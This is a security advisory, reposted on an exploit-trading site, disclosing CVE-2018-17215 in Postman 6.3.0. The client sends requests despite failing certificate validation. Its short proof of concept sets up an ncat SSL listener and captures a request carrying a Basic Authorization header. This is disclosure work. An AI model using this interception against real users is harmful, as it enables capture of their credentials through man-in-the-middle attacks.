0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Postman 6.3.0 Improper Certificate Validation Vulnerability
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Product: Postman (standalone)
Manufacturer: Postman
Affected Version(s): 6.3.0 and older
Tested Version(s): 6.2.2 x64 (Windows and Linux), 6.3.0
Vulnerability Type: Improper Certificate Validation (CWE-295)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2018-08-01
Solution Date: -
Public Disclosure: -
CVE Reference: CVE-2018-17215
Author of Advisory: Ludwig Stage, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
Postman is a feature-rich REST client.
The manufacturer describes the product as follows (see [1]):
"Postman is the most complete toolchain for API development
* The most-used REST client worldwide
* Designed from the ground up to support the API developer
* Intuitive user interface to send requests, save responses, add tests,
and create workflows"
Due to improper certificate validation, Postman is vulnerable to
man-in-the-middle attacks.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
Postman validates the server's certificate and presents an error if the
certificate is not valid. Unfortunately, the HTTP request is sent
anyway. Only the response is not displayed. Thus, all contained
information of the HTTP request is disclosed, for example user
credentials.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
1. Open ncat SSL listener: ncat --ssl -l 8888 -k
2. Send GET request to URL in Postman: https://10.0.0.2:8888/postmanssl
3. Get error in Postman:
"Could not get any response
There was an error connecting to https://10.0.0.2:8888/postmanssl.
Why this might have happened:
The server couldn't send a response:
Ensure that the backend is working properly
Self-signed SSL certificates are being blocked:
Fix this by turning off 'SSL certificate verification' in Settings > General
Proxy configured incorrectly
Ensure that proxy is configured correctly in Settings > Proxy
Request timeout:
Change request timeout in Settings > General"
4. See HTTP GET request via ncat anyway:
GET /postmanssl HTTP/1.1
cache-control: no-cache
Postman-Token: 606e036d-9b05-449d-9347-c511ef322d28
Authorization: Basic bmljZTp0cnk=
User-Agent: PostmanRuntime/7.2.0
Accept: */*
Host: 10.0.0.2:8888
accept-encoding: gzip, deflate
Connection: keep-alive
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
More Information:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2018-07-17: Vulnerability discovered
2018-08-01: Vulnerability reported to manufacturer
2018-08-08: Contacted the manufacturer again
: Patch released by manufacturer
: Public disclosure of vulnerability
# 0day.today [2024-12-24] #